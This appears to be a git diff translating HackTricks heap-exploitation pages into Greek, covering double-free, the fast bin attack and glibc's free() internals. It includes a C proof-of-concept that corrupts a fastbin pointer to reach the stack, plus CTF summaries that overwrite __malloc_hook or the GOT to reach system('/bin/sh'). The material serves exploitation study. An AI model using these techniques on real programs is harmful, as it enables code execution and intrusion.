Κατανεμούμε τρία κομμάτια μεγέθους `0x110` (`A`, `B`, `C`) +- Απελευθερώνουμε το `B` +- Απελευθερώνουμε το `A` και κατανεμούμε ξανά για να χρησιμοποιήσουμε την υπερχείλιση null-byte +- Τώρα το πεδίο μεγέθους του `B` είναι `0x100`, αντί για `0x111`, οπότε μπορούμε να το απελευθερώσουμε ξανά +- Έχουμε ένα Tcache-bin μεγέθους `0x110` και ένα μεγέθους `0x100` που δείχνουν στην ίδια διεύθυνση. Έτσι έχουμε μια διπλή απελευθέρωση. +- Εκμεταλλευόμαστε τη διπλή απελευθέρωση χρησιμοποιώντας [Tcache poisoning](tcache-bin-attack.md) -## References +## Αναφορές - [https://heap-exploitation.dhavalkapil.com/attacks/double_free](https://heap-exploitation.dhavalkapil.com/attacks/double_free) diff --git a/src/binary-exploitation/libc-heap/fast-bin-attack.md b/src/binary-exploitation/libc-heap/fast-bin-attack.md index c36c675de..0d10d9e58 100644 --- a/src/binary-exploitation/libc-heap/fast-bin-attack.md +++ b/src/binary-exploitation/libc-heap/fast-bin-attack.md @@ -4,16 +4,15 @@ ## Basic Information -For more information about what is a fast bin check this page: +Για περισσότερες πληροφορίες σχετικά με το τι είναι ένα fast bin, ελέγξτε αυτή τη σελίδα: {{#ref}} bins-and-memory-allocations.md {{#endref}} -Because the fast bin is a singly linked list, there are much less protections than in other bins and just **modifying an address in a freed fast bin** chunk is enough to be able to **allocate later a chunk in any memory address**. - -As summary: +Επειδή το fast bin είναι μια απλή συνδεδεμένη λίστα, υπάρχουν πολύ λιγότερες προστασίες σε σύγκριση με άλλες bins και απλά **η τροποποίηση μιας διεύθυνσης σε ένα ελεύθερο fast bin** chunk είναι αρκετή για να μπορέσετε να **κατανείμετε αργότερα ένα chunk σε οποιαδήποτε διεύθυνση μνήμης**. +Ως σύνοψη: ```c ptr0 = malloc(0x20); ptr1 = malloc(0x20); @@ -29,9 +28,7 @@ free(ptr1) ptr2 = malloc(0x20); // This will get ptr1 ptr3 = malloc(0x20); // This will get a chunk in the
which could be abuse to overwrite arbitrary content inside of it ``` - -You can find a full example in a very well explained code from [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html): - +Μπορείτε να βρείτε ένα πλήρες παράδειγμα σε έναν πολύ καλά εξηγημένο κώδικα από [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html): ```c #include #include @@ -39,112 +36,111 @@ You can find a full example in a very well explained code from [https://guyinatu int main(void) { - puts("Today we will be discussing a fastbin attack."); - puts("There are 10 fastbins, which act as linked lists (they're separated by size)."); - puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists."); - puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it)."); - puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)"); - puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate."); - puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin."); - puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n"); - puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n"); +puts("Today we will be discussing a fastbin attack."); +puts("There are 10 fastbins, which act as linked lists (they're separated by size)."); +puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists."); +puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it)."); +puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)"); +puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate."); +puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin."); +puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n"); +puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n"); - puts("Let's start, we will allocate three chunks of size 0x30\n"); - unsigned long *ptr0, *ptr1, *ptr2; +puts("Let's start, we will allocate three chunks of size 0x30\n"); +unsigned long *ptr0, *ptr1, *ptr2; - ptr0 = malloc(0x30); - ptr1 = malloc(0x30); - ptr2 = malloc(0x30); +ptr0 = malloc(0x30); +ptr1 = malloc(0x30); +ptr2 = malloc(0x30); - printf("Chunk 0: %p\n", ptr0); - printf("Chunk 1: %p\n", ptr1); - printf("Chunk 2: %p\n\n", ptr2); +printf("Chunk 0: %p\n", ptr0); +printf("Chunk 1: %p\n", ptr1); +printf("Chunk 2: %p\n\n", ptr2); - printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n"); +printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n"); - int stackVar = 0x55; +int stackVar = 0x55; - printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar); +printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar); - printf("Proceeding that I'm going to write just some data to the three heap chunks\n"); +printf("Proceeding that I'm going to write just some data to the three heap chunks\n"); - char *data0 = "00000000"; - char *data1 = "11111111"; - char *data2 = "22222222"; +char *data0 = "00000000"; +char *data1 = "11111111"; +char *data2 = "22222222"; - memcpy(ptr0, data0, 0x8); - memcpy(ptr1, data1, 0x8); - memcpy(ptr2, data2, 0x8); +memcpy(ptr0, data0, 0x8); +memcpy(ptr1, data1, 0x8); +memcpy(ptr2, data2, 0x8); - printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n"); +printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n"); - printf("Chunk 0: %s\n", (char *)ptr0); - printf("Chunk 1: %s\n", (char *)ptr1); - printf("Chunk 2: %s\n\n", (char *)ptr2); +printf("Chunk 0: %s\n", (char *)ptr0); +printf("Chunk 1: %s\n", (char *)ptr1); +printf("Chunk 2: %s\n\n", (char *)ptr2); - printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n"); +printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n"); - free(ptr0); - free(ptr1); - free(ptr2); +free(ptr0); +free(ptr1); +free(ptr2); - printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0); - printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1); - printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2); +printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0); +printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1); +printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2); - printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n"); +printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n"); - printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n"); - printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n"); +printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n"); +printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n"); - *ptr1 = (unsigned long)((char *)&stackVar); +*ptr1 = (unsigned long)((char *)&stackVar); - printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1); +printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1); - printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n"); - printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n"); +printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n"); +printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n"); - unsigned long *ptr3, *ptr4, *ptr5; +unsigned long *ptr3, *ptr4, *ptr5; - ptr3 = malloc(0x30); - ptr4 = malloc(0x30); - ptr5 = malloc(0x30); +ptr3 = malloc(0x30); +ptr4 = malloc(0x30); +ptr5 = malloc(0x30); - printf("Chunk 3: %p\n", ptr3); - printf("Chunk 4: %p\n", ptr4); - printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5); +printf("Chunk 3: %p\n", ptr3); +printf("Chunk 4: %p\n", ptr4); +printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5); - printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n"); +printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n"); } ``` - > [!CAUTION] -> If it's possible to overwrite the value of the global variable **`global_max_fast`** with a big number, this allows to generate fast bin chunks of bigger sizes, potentially allowing to perform fast bin attacks in scenarios where it wasn't possible previously. This situation useful in the context of [large bin attack](large-bin-attack.md) and [unsorted bin attack](unsorted-bin-attack.md) +> Αν είναι δυνατόν να επαναγραφεί η τιμή της παγκόσμιας μεταβλητής **`global_max_fast`** με έναν μεγάλο αριθμό, αυτό επιτρέπει τη δημιουργία γρήγορων κομματιών μεγαλύτερων μεγεθών, δυνητικά επιτρέποντας την εκτέλεση γρήγορων επιθέσεων σε σενάρια όπου δεν ήταν δυνατή προηγουμένως. Αυτή η κατάσταση είναι χρήσιμη στο πλαίσιο της [large bin attack](large-bin-attack.md) και της [unsorted bin attack](unsorted-bin-attack.md) -## Examples +## Παραδείγματα - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:** - - It's possible to allocate chunks, free them, read their contents and fill them (with an overflow vulnerability). - - **Consolidate chunk for infoleak**: The technique is basically to abuse the overflow to create a fake `prev_size` so one previous chunks is put inside a bigger one, so when allocating the bigger one containing another chunk, it's possible to print it's data an leak an address to libc (`main_arena+88`). - - **Overwrite malloc hook**: For this, and abusing the previous overlapping situation, it was possible to have 2 chunks that were pointing to the same memory. Therefore, freeing them both (freeing another chunk in between to avoid protections) it was possible to have the same chunk in the fast bin 2 times. Then, it was possible to allocate it again, overwrite the address to the next chunk to point a bit before `__malloc_hook` (so it points to an integer that malloc thinks is a free size - another bypass), allocate it again and then allocate another chunk that will receive an address to malloc hooks.\ - Finally a **one gadget** was written in there. +- Είναι δυνατόν να εκχωρηθούν κομμάτια, να απελευθερωθούν, να διαβαστούν τα περιεχόμενά τους και να γεμίσουν (με μια ευπάθεια overflow). +- **Συγκέντρωση κομματιού για infoleak**: Η τεχνική είναι βασικά να καταχραστεί το overflow για να δημιουργηθεί ένα ψεύτικο `prev_size`, έτσι ώστε ένα προηγούμενο κομμάτι να τοποθετηθεί μέσα σε ένα μεγαλύτερο, έτσι ώστε όταν εκχωρείται το μεγαλύτερο που περιέχει ένα άλλο κομμάτι, είναι δυνατόν να εκτυπωθεί τα δεδομένα του και να διαρρεύσει μια διεύθυνση στη libc (`main_arena+88`). +- **Επαναγραφή malloc hook**: Για αυτό, και καταχρώντας την προηγούμενη επικαλυπτόμενη κατάσταση, ήταν δυνατόν να έχουμε 2 κομμάτια που έδειχναν στην ίδια μνήμη. Επομένως, απελευθερώνοντάς τα και τα δύο (απελευθερώνοντας ένα άλλο κομμάτι ενδιάμεσα για να αποφευχθούν οι προστασίες) ήταν δυνατόν να έχουμε το ίδιο κομμάτι στη γρήγορη λίστα 2 φορές. Στη συνέχεια, ήταν δυνατόν να το εκχωρήσουμε ξανά, να επαναγράψουμε τη διεύθυνση του επόμενου κομματιού ώστε να δείχνει λίγο πριν από το `__malloc_hook` (έτσι ώστε να δείχνει σε έναν ακέραιο που το malloc νομίζει ότι είναι ένα ελεύθερο μέγεθος - άλλη παράκαμψη), να το εκχωρήσουμε ξανά και στη συνέχεια να εκχωρήσουμε ένα άλλο κομμάτι που θα λάβει μια διεύθυνση για τα malloc hooks.\ +Τελικά, γράφτηκε ένα **one gadget** εκεί. - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:** - - There is a heap overflow and use after free and double free because when a chunk is freed it's possible to reuse and re-free the pointers - - **Libc info leak**: Just free some chunks and they will get a pointer to a part of the main arena location. As you can reuse freed pointers, just read this address. - - **Fast bin attack**: All the pointers to the allocations are stored inside an array, so we can free a couple of fast bin chunks and in the last one overwrite the address to point a bit before this array of pointers. Then, allocate a couple of chunks with the same size and we will get first the legit one and then the fake one containing the array of pointers. We can now overwrite this allocation pointers to make the GOT address of `free` point to `system` and then write `"/bin/sh"` in chunk 1 to then call `free(chunk1)` which instead will execute `system("/bin/sh")`. +- Υπάρχει μια υπερχείλιση σωρού και χρήση μετά την απελευθέρωση και διπλή απελευθέρωση επειδή όταν ένα κομμάτι απελευθερωθεί είναι δυνατόν να ξαναχρησιμοποιηθούν και να ξανααπελευθερωθούν οι δείκτες +- **Libc info leak**: Απλά απελευθερώστε μερικά κομμάτια και θα λάβουν έναν δείκτη σε ένα μέρος της τοποθεσίας της κύριας αρένας. Καθώς μπορείτε να ξαναχρησιμοποιήσετε τους απελευθερωμένους δείκτες, απλά διαβάστε αυτή τη διεύθυνση. +- **Fast bin attack**: Όλοι οι δείκτες στις εκχωρήσεις αποθηκεύονται μέσα σε έναν πίνακα, έτσι ώστε να μπορούμε να απελευθερώσουμε μερικά γρήγορα κομμάτια και στο τελευταίο να επαναγράψουμε τη διεύθυνση ώστε να δείχνει λίγο πριν από αυτόν τον πίνακα δεικτών. Στη συνέχεια, εκχωρούμε μερικά κομμάτια με το ίδιο μέγεθος και θα λάβουμε πρώτα το νόμιμο και στη συνέχεια το ψεύτικο που περιέχει τον πίνακα δεικτών. Τώρα μπορούμε να επαναγράψουμε αυτούς τους δείκτες εκχώρησης ώστε να κάνουμε τη διεύθυνση GOT του `free` να δείχνει στο `system` και στη συνέχεια να γράψουμε `"/bin/sh"` στο κομμάτι 1 για να καλέσουμε `free(chunk1)` το οποίο αντίθετα θα εκτελέσει `system("/bin/sh")`. - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) - - Another example of abusing a one byte overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address +- Ένα άλλο παράδειγμα κατάχρησης μιας υπερχείλισης ενός byte για να συγκεντρωθούν κομμάτια στην αταξινόμητη λίστα και να αποκτηθεί μια διαρροή libc και στη συνέχεια να εκτελεστεί μια γρήγορη επίθεση bin για να επαναγραφεί το malloc hook με μια διεύθυνση one gadget - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) - - After an infoleak abusing the unsorted bin with a UAF to leak a libc address and a PIE address, the exploit of this CTF used a fast bin attack to allocate a chunk in a place where the pointers to controlled chunks were located so it was possible to overwrite certain pointers to write a one gadget in the GOT - - You can find a Fast Bin attack abused through an unsorted bin attack: - - Note that it's common before performing fast bin attacks to abuse the free-lists to leak libc/heap addresses (when needed). +- Μετά από μια διαρροή infoleak καταχρώντας την αταξινόμητη λίστα με μια UAF για να διαρρεύσει μια διεύθυνση libc και μια διεύθυνση PIE, η εκμετάλλευση αυτού του CTF χρησιμοποίησε μια γρήγορη επίθεση bin για να εκχωρήσει ένα κομμάτι σε μια θέση όπου βρίσκονταν οι δείκτες σε ελεγχόμενα κομμάτια, έτσι ώστε να ήταν δυνατόν να επαναγραφούν ορισμένοι δείκτες για να γράψουν μια διεύθυνση one gadget στο GOT +- Μπορείτε να βρείτε μια γρήγορη επίθεση Bin που καταχράται μέσω μιας αταξινόμητης επίθεσης bin: +- Σημειώστε ότι είναι κοινό πριν από την εκτέλεση γρήγορων επιθέσεων bin να καταχράστε τις λίστες ελευθερίας για να διαρρεύσετε διευθύνσεις libc/heap (όταν χρειάζεται). - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) - - We can only allocate chunks of size greater than `0x100`. - - Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits). - - Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`. +- Μπορούμε μόνο να εκχωρήσουμε κομμάτια μεγέθους μεγαλύτερου από `0x100`. +- Επαναγράψτε το `global_max_fast` χρησιμοποιώντας μια αταξινόμητη επίθεση bin (λειτουργεί 1/16 φορές λόγω ASLR, επειδή πρέπει να τροποποιήσουμε 12 bits, αλλά πρέπει να τροποποιήσουμε 16 bits). +- Γρήγορη επίθεση Bin για να τροποποιήσετε έναν παγκόσμιο πίνακα κομματιών. Αυτό δίνει μια αυθαίρετη ανάγνωση/γραφή primitive, που επιτρέπει την τροποποίηση του GOT και την ρύθμιση ορισμένων συναρτήσεων να δείχνουν στο `system`. {{#ref}} unsorted-bin-attack.md diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/README.md b/src/binary-exploitation/libc-heap/heap-memory-functions/README.md index 04855d5fb..5cd959062 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/README.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/README.md @@ -1,4 +1,4 @@ -# Heap Memory Functions +# Συναρτήσεις Μνήμης Σωρού {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/free.md b/src/binary-exploitation/libc-heap/heap-memory-functions/free.md index e57b1fa77..ed287e042 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/free.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/free.md @@ -2,95 +2,92 @@ {{#include ../../../banners/hacktricks-training.md}} -## Free Order Summary +## Περίληψη Εντολής Free -(No checks are explained in this summary and some case have been omitted for brevity) +(Δεν εξηγούνται έλεγχοι σε αυτή την περίληψη και ορισμένες περιπτώσεις έχουν παραληφθεί για συντομία) -1. If the address is null don't do anything -2. If the chunk was mmaped, mummap it and finish -3. Call `_int_free`: - 1. If possible, add the chunk to the tcache - 2. If possible, add the chunk to the fast bin - 3. Call `_int_free_merge_chunk` to consolidate the chunk is needed and add it to the unsorted list +1. Αν η διεύθυνση είναι null, μην κάνεις τίποτα +2. Αν το chunk ήταν mmaped, mummap το και τελείωσε +3. Κάλεσε `_int_free`: + 1. Αν είναι δυνατόν, πρόσθεσε το chunk στο tcache + 2. Αν είναι δυνατόν, πρόσθεσε το chunk στο fast bin + 3. Κάλεσε `_int_free_merge_chunk` για να ενοποιήσεις το chunk αν χρειάζεται και πρόσθεσέ το στη λίστα που δεν έχει ταξινομηθεί ## \_\_libc_free -`Free` calls `__libc_free`. +`Free` καλεί `__libc_free`. -- If the address passed is Null (0) don't do anything. -- Check pointer tag -- If the chunk is `mmaped`, `mummap` it and that all -- If not, add the color and call `_int_free` over it +- Αν η διεύθυνση που δόθηκε είναι Null (0), μην κάνεις τίποτα. +- Έλεγξε την ετικέτα του δείκτη +- Αν το chunk είναι `mmaped`, `mummap` το και αυτό είναι όλο +- Αν όχι, πρόσθεσε το χρώμα και κάλεσε `_int_free` πάνω του
__lib_free code - ```c void __libc_free (void *mem) { - mstate ar_ptr; - mchunkptr p; /* chunk corresponding to mem */ +mstate ar_ptr; +mchunkptr p; /* chunk corresponding to mem */ - if (mem == 0) /* free(0) has no effect */ - return; +if (mem == 0) /* free(0) has no effect */ +return; - /* Quickly check that the freed pointer matches the tag for the memory. - This gives a useful double-free detection. */ - if (__glibc_unlikely (mtag_enabled)) - *(volatile char *)mem; +/* Quickly check that the freed pointer matches the tag for the memory. +This gives a useful double-free detection. */ +if (__glibc_unlikely (mtag_enabled)) +*(volatile char *)mem; - int err = errno; +int err = errno; - p = mem2chunk (mem); +p = mem2chunk (mem); - if (chunk_is_mmapped (p)) /* release mmapped memory. */ - { - /* See if the dynamic brk/mmap threshold needs adjusting. - Dumped fake mmapped chunks do not affect the threshold. */ - if (!mp_.no_dyn_threshold - && chunksize_nomask (p) > mp_.mmap_threshold - && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX) - { - mp_.mmap_threshold = chunksize (p); - mp_.trim_threshold = 2 * mp_.mmap_threshold; - LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, - mp_.mmap_threshold, mp_.trim_threshold); - } - munmap_chunk (p); - } - else - { - MAYBE_INIT_TCACHE (); +if (chunk_is_mmapped (p)) /* release mmapped memory. */ +{ +/* See if the dynamic brk/mmap threshold needs adjusting. +Dumped fake mmapped chunks do not affect the threshold. */ +if (!mp_.no_dyn_threshold +&& chunksize_nomask (p) > mp_.mmap_threshold +&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX) +{ +mp_.mmap_threshold = chunksize (p); +mp_.trim_threshold = 2 * mp_.mmap_threshold; +LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, +mp_.mmap_threshold, mp_.trim_threshold); +} +munmap_chunk (p); +} +else +{ +MAYBE_INIT_TCACHE (); - /* Mark the chunk as belonging to the library again. */ - (void)tag_region (chunk2mem (p), memsize (p)); +/* Mark the chunk as belonging to the library again. */ +(void)tag_region (chunk2mem (p), memsize (p)); - ar_ptr = arena_for_chunk (p); - _int_free (ar_ptr, p, 0); - } +ar_ptr = arena_for_chunk (p); +_int_free (ar_ptr, p, 0); +} - __set_errno (err); +__set_errno (err); } libc_hidden_def (__libc_free) ``` -
## \_int_free ### \_int_free start -It starts with some checks making sure: +Ξεκινά με κάποιους ελέγχους για να διασφαλίσει ότι: -- the **pointer** is **aligned,** or trigger error `free(): invalid pointer` -- the **size** isn't less than the minimum and that the **size** is also **aligned** or trigger error: `free(): invalid size` +- ο **δείκτης** είναι **ευθυγραμμισμένος,** αλλιώς προκαλεί σφάλμα `free(): invalid pointer` +- το **μέγεθος** δεν είναι μικρότερο από το ελάχιστο και ότι το **μέγεθος** είναι επίσης **ευθυγραμμισμένο** ή προκαλεί σφάλμα: `free(): invalid size`
_int_free start - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28 @@ -99,288 +96,279 @@ It starts with some checks making sure: static void _int_free (mstate av, mchunkptr p, int have_lock) { - INTERNAL_SIZE_T size; /* its size */ - mfastbinptr *fb; /* associated fastbin */ +INTERNAL_SIZE_T size; /* its size */ +mfastbinptr *fb; /* associated fastbin */ - size = chunksize (p); +size = chunksize (p); - /* Little security check which won't hurt performance: the - allocator never wraps around at the end of the address space. - Therefore we can exclude some size values which might appear - here by accident or by "design" from some intruder. */ - if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) - || __builtin_expect (misaligned_chunk (p), 0)) - malloc_printerr ("free(): invalid pointer"); - /* We know that each chunk is at least MINSIZE bytes in size or a - multiple of MALLOC_ALIGNMENT. */ - if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size))) - malloc_printerr ("free(): invalid size"); +/* Little security check which won't hurt performance: the +allocator never wraps around at the end of the address space. +Therefore we can exclude some size values which might appear +here by accident or by "design" from some intruder. */ +if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) +|| __builtin_expect (misaligned_chunk (p), 0)) +malloc_printerr ("free(): invalid pointer"); +/* We know that each chunk is at least MINSIZE bytes in size or a +multiple of MALLOC_ALIGNMENT. */ +if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size))) +malloc_printerr ("free(): invalid size"); - check_inuse_chunk(av, p); +check_inuse_chunk(av, p); ``` -
### \_int_free tcache -It'll first try to allocate this chunk in the related tcache. However, some checks are performed previously. It'll loop through all the chunks of the tcache in the same index as the freed chunk and: +Αρχικά θα προσπαθήσει να εκχωρήσει αυτό το κομμάτι στην σχετική tcache. Ωστόσο, προηγούνται ορισμένοι έλεγχοι. Θα επαναλάβει όλα τα κομμάτια της tcache στον ίδιο δείκτη με το ελευθερωμένο κομμάτι και: -- If there are more entries than `mp_.tcache_count`: `free(): too many chunks detected in tcache` -- If the entry is not aligned: free(): `unaligned chunk detected in tcache 2` -- if the freed chunk was already freed and is present as chunk in the tcache: `free(): double free detected in tcache 2` +- Αν υπάρχουν περισσότερες καταχωρίσεις από `mp_.tcache_count`: `free(): too many chunks detected in tcache` +- Αν η καταχώριση δεν είναι ευθυγραμμισμένη: free(): `unaligned chunk detected in tcache 2` +- αν το ελευθερωμένο κομμάτι είχε ήδη ελευθερωθεί και είναι παρόν ως κομμάτι στην tcache: `free(): double free detected in tcache 2` -If all goes well, the chunk is added to the tcache and the functions returns. +Αν όλα πάνε καλά, το κομμάτι προστίθεται στην tcache και οι συναρτήσεις επιστρέφουν.
_int_free tcache - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4515C1-L4554C7 #if USE_TCACHE - { - size_t tc_idx = csize2tidx (size); - if (tcache != NULL && tc_idx < mp_.tcache_bins) - { - /* Check to see if it's already in the tcache. */ - tcache_entry *e = (tcache_entry *) chunk2mem (p); +{ +size_t tc_idx = csize2tidx (size); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +{ +/* Check to see if it's already in the tcache. */ +tcache_entry *e = (tcache_entry *) chunk2mem (p); - /* This test succeeds on double free. However, we don't 100% - trust it (it also matches random payload data at a 1 in - 2^ chance), so verify it's not an unlikely - coincidence before aborting. */ - if (__glibc_unlikely (e->key == tcache_key)) - { - tcache_entry *tmp; - size_t cnt = 0; - LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); - for (tmp = tcache->entries[tc_idx]; - tmp; - tmp = REVEAL_PTR (tmp->next), ++cnt) - { - if (cnt >= mp_.tcache_count) - malloc_printerr ("free(): too many chunks detected in tcache"); - if (__glibc_unlikely (!aligned_OK (tmp))) - malloc_printerr ("free(): unaligned chunk detected in tcache 2"); - if (tmp == e) - malloc_printerr ("free(): double free detected in tcache 2"); - /* If we get here, it was a coincidence. We've wasted a - few cycles, but don't abort. */ - } - } +/* This test succeeds on double free. However, we don't 100% +trust it (it also matches random payload data at a 1 in +2^ chance), so verify it's not an unlikely +coincidence before aborting. */ +if (__glibc_unlikely (e->key == tcache_key)) +{ +tcache_entry *tmp; +size_t cnt = 0; +LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); +for (tmp = tcache->entries[tc_idx]; +tmp; +tmp = REVEAL_PTR (tmp->next), ++cnt) +{ +if (cnt >= mp_.tcache_count) +malloc_printerr ("free(): too many chunks detected in tcache"); +if (__glibc_unlikely (!aligned_OK (tmp))) +malloc_printerr ("free(): unaligned chunk detected in tcache 2"); +if (tmp == e) +malloc_printerr ("free(): double free detected in tcache 2"); +/* If we get here, it was a coincidence. We've wasted a +few cycles, but don't abort. */ +} +} - if (tcache->counts[tc_idx] < mp_.tcache_count) - { - tcache_put (p, tc_idx); - return; - } - } - } +if (tcache->counts[tc_idx] < mp_.tcache_count) +{ +tcache_put (p, tc_idx); +return; +} +} +} #endif ``` -
### \_int_free fast bin -Start by checking that the size is suitable for fast bin and check if it's possible to set it close to the top chunk. +Ξεκινήστε ελέγχοντας αν το μέγεθος είναι κατάλληλο για fast bin και ελέγξτε αν είναι δυνατόν να το ρυθμίσετε κοντά στο top chunk. -Then, add the freed chunk at the top of the fast bin while performing some checks: +Στη συνέχεια, προσθέστε το ελευθερωμένο chunk στην κορυφή του fast bin ενώ εκτελείτε κάποιους ελέγχους: -- If the size of the chunk is invalid (too big or small) trigger: `free(): invalid next size (fast)` -- If the added chunk was already the top of the fast bin: `double free or corruption (fasttop)` -- If the size of the chunk at the top has a different size of the chunk we are adding: `invalid fastbin entry (free)` +- Αν το μέγεθος του chunk είναι μη έγκυρο (πολύ μεγάλο ή πολύ μικρό) ενεργοποιήστε: `free(): invalid next size (fast)` +- Αν το προστιθέμενο chunk ήταν ήδη στην κορυφή του fast bin: `double free or corruption (fasttop)` +- Αν το μέγεθος του chunk στην κορυφή έχει διαφορετικό μέγεθος από το chunk που προσθέτουμε: `invalid fastbin entry (free)`
